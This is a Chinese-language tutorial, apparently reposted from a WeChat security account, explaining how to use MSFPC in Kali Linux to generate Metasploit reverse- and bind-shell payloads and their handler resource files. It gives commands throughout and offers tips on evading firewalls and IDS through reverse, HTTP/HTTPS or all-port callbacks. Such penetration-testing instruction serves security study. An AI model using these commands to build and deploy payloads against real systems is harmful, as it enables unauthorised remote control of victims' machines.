如何使用MSFPC
2021-03-18 23:05:50 Author: mp.weixin.qq.com(查看原文) 阅读量:163 收藏

注意:本文中所有操作是在Kali linux 2020.4中完成。如果使用Kali linux2020.1等版本,可能会因为msfpc没有root权限,在调用ifconfig命令时出错,此时将文中的eth0替换为本机IP地址即可。

MSFvenom Payload CreatorMSFPC)是一个使用起来十分方便的payload生成器,可以根据用户的选择来生成Metasploit的各种payload。有了它,我们就不需要使用的长长的msfvenom命令来产生payload,从而大大的节省了使用者的时间和精力。

你在使用MSFPC之前应该先在系统中安装MetasploitMSFPC只是一个单纯的bash脚本,这也意味着它需要在linux或者unix等系统上运行。(微软已经宣布在Windows10上支持bash)。

如果你使用的不是Kali的话,需要安装MSFPC,下载地址为https://github.com/g0tmi1k/msfpc

Kali linux中则已经事先内置了MSFPC,你只需要在终端中输入msfpc就可以启动。

 

MSFPC中产生payload也是通过命令实现的,主要的参数有TYPEDOMAIN/IP等,它们分别对应的含义如下所示:

TYPE:MSFPC中支持的payload类型如上图所示,可以分别指定为APK [android], ASP, ASPX, Bash [.sh], Java [.jsp], Linux [.elf], OSX [.macho], Perl [.pl], PHP, Powershell [.ps1], python [.py], Tomcat [.war], Windows [.exe //.dll]等。这个选项相当于msfvenom中的-f参数。

DOMAIN/IP:这个选项相当于msfvenom中的LHOST参数。也就是主控端的IP地址。

PORT:这个选项相当于msfvenom中的LPORT参数。也就是主控端的端口。

CMD/MSF: 这个选项决定了当payload执行后,我们将以何种形式来控制目标系统。比如我们想使用标准的命令行来控制目标时,就可以使用CMD选项。如果目标系统是windows,我们就可以使用如下图所示的cmd命令行方式来控制目标。而如果目标是Linux操作系统,我们则使用 /bin/bash的方式来控制目标。

     

下面我们使用MSFPC来创建一个payload,使用的命令如下所示:

$ msfpc cmd windows eth0

成功执行这条命令之后将会产生一个payload,它将会允许你通过使用CMD命令行的方式来控制目标,主控端的IP地址通过eth0设置成了当前kali主机的IP地址。

从图中可以看出来,这条命令一共产生了两个文件:

可执行payload文件: windows-shell-staged-reverse-tcp-443.exe

Rc文件: windows-shell-staged-reverse-tcp-443-exe.rc

这两个文件的命名很容易理解,它们是根据创建时使用的选项命名的。我们刚刚创建的可执行payload文件一旦在目标系统中运行起来,它就会连接到主控端的443端口(反向连接),此时我们就可以利用命令提示符shell来控制目标了。我们在创建payload文件的时候,尽量选择使用reverse(反向)来代替bind(正向)。

资源文件(Resource filerc

按照Metasploit官方的解释,资源文件可以帮你自动化的完成一些重复任务。实际上,资源文件就像是批处理脚本,它里面是一组命令。当你在Metasploit中加载这个脚本时,这些命令就会按照顺序执行。你可以将一系列Metasploit控制命令连接在一起来创建资源文件。

下面我们可以使用cat来查看刚刚生成的rc文件:

 

这里使用的payload选择的参数是cmd,对应的类型是windows/shell/reverse_tcp

如果你希望获得更方便的控制权限(就像meterpreter中那样),这时就可以使用msf参数,例如:

Msfpc msf windows eth0

 

在使用msf选项之后,我们查看从MSFPC生成的资源文件,就会两次在set payload”时的差异:

这时的payload已经被设置为了 windows/meterpreter/reverse_tcp。写好的资源文件可以使用msfconsole来执行,执行的命令如下所示:

msfconsole -q -r '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc'

这里面的-q表示使用静默模式(你将看不到metasploit的执行过程),-r表示执行资源文件。不使用参数-q则可以看到如下所示的metasploit调用过程。

我们在这个实例中使用的payload是基于x86的,但目标系统是给予x64体系结构。我们建议使用的payload要与操作系统的体系结构匹配。在Metasploit中,我们可以从基于x86的进程迁移到基于x64的进程,也可以使用Metasploit post模块post/windows/manage/archmigrate

BIND/REVERSE: 目标系统上执行payload后与主控端建立的连接类型。

BIND: 将打开目标系统上的一个端口,我们可以使用主控端连接到该端口。这种方式成功的几率并不大,因为目标系统的防火墙规则往往会阻止我们连接到它的端口。

当我们使用下面的命令:

msfpc bind msf windows eth0

就可以生成一个正向的payload

我们查看生成的资源文件可以看到使用windows/meterpreter/bind_tcp代替了reverse_tcp,

REVERSE(反向): 这个payload会在攻击者主控端的计算机上打开一个端口,一旦payload在目标设备上执行,就会从目标设备上主动回连主控端。这种连接叫做反向连接,它是绕过入口防火墙的一种非常好的方法,但如果出口(出站)防火墙规则禁止了连接,则可以阻止反向连接。默认情况下,MSFPC将使用REVERSE方式来生成payload

STAGED/STAGELESS: payload所使用的类型。

STAGED: 这个参数会将payload分成多个阶段发送,这样做的好处是可以有效降低payload的大小,默认情况下,MSFPC生成的就是这种多个阶段发送的payload

STAGELESS:这个参数会产生一个完整的payload,比多个阶段发送的payload更稳定、更可靠,但与分级payload相比,这种payload太大了。

 msfpc cmd stageless bind windows eth0

我们查看生成的这个命令生成的资源文件。

可以看到这里面payload被设置为windows/shell_bind_tcp,这是一个stageless类型的payload,它对应着Metasploit中的windows/shell/bind_tcp

TCP/HTTP/HTTPS/FIND_PORT: payloadhandler通信所使用的方法。

TCP:这是在目标服务器上执行payload后的标准通信方法。这种通信方法可以用于任何类型的payload格式,但由于其不加密的性质,很容易被IDS检测到并被防火墙和IPS阻止。

HTTP:如果MSFPC使用此选项,则payload将使用HTTP作为通信方法。payload将在端口80上通信。如果目标系统上只有端口80打开,则可以使用此选项绕过防火墙。由于其未加密的性质,很容易被IDSIPS检测到。

HTTPS:此选项用于生成将使用SSL通信的payload如果需要隐秘的进行反向连接时,建议使用此选项。

FIND_PORT:当无法从公共端口(804435321)获得反向连接时,使用此选项。如果设置了此选项,MSFPC生成payloa将尝试所有1-65535端口进行通信

BATCH Mode: 在批处理模式下,MSFPC可以使用尽可能多的类型组合生成多个payload

MSFPCWindows生成所有组合的payload以及它们各自的资源文件(.rc

LOOP Mode: 这种模式会产生各种类型的多重payloadMSFPC还可以生成给定LHOST的所有payload。当我们不了解目标平台操作系统的类型时,这一点非常有用:

msfpc loop 192.168.157.170

下面是该命令所生成的payload与资源文件。

VERBOSE: 如果要获取有关MSFPC在生成payload时使用的值的更多信息,可以使用此选项

 msfpc cmd stageless bind windows eth0 verbose

扫描下方二维码加入星球学习

加入后邀请进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们



文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247492705&idx=2&sn=8c03936a1d90b60a7525819944c07d53&chksm=fc3c5d60cb4bd4765337b82a3cd5ce85df0fcf33c1215ccc8854f4892fd2fdb57144e2995d6a#rd
如有侵权请联系:admin#unsafe.sh